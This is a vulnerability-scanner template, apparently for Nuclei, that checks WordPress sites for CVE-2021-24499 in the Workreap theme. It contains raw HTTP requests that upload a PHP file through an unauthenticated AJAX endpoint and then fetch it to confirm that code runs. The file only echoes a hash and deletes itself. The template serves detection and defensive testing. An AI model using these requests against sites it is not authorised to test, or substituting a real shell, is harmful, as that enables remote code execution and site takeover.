WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
PoC代码[已公开]
id: CVE-2021-24499
info:
name: WordPress Workreap - Remote Code Execution
author: daffainfo
severity: critical
description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
remediation: |
Update to the latest version of the Workreap plugin to fix the vulnerability.
reference:
- https://github.com/RyouYoo/CVE-2021-24499
- https://nvd.nist.gov/vuln/detail/CVE-2021-24499
- https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
- https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
- http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24499
cwe-id: CWE-434
epss-score: 0.93523
epss-percentile: 0.99824
cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: amentotech
product: workreap
framework: wordpress
tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech
variables:
string: "CVE-2021-24499"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
X-Requested-With: XMLHttpRequest
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition: form-data; name="action"
workreap_award_temp_file_uploader
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
Content-Type: application/x-httpd-php
<?php echo md5("{{string}}");unlink(__FILE__);?>
-----------------------------cd0dc6bdc00b1cf9--
- |
GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(string)}}'
- type: status
status:
- 200
# digest: 4a0a00473045022100c6a3e918e41c237fdfe2f6352fcd48a43c1c6e4954d1e6aace66f650601b9da202202ad3c7661df80b9aadfe1858076722fe1404b2c810f9830c842816fc4dbe7925:922c64590222798bb761d5b6d8e72950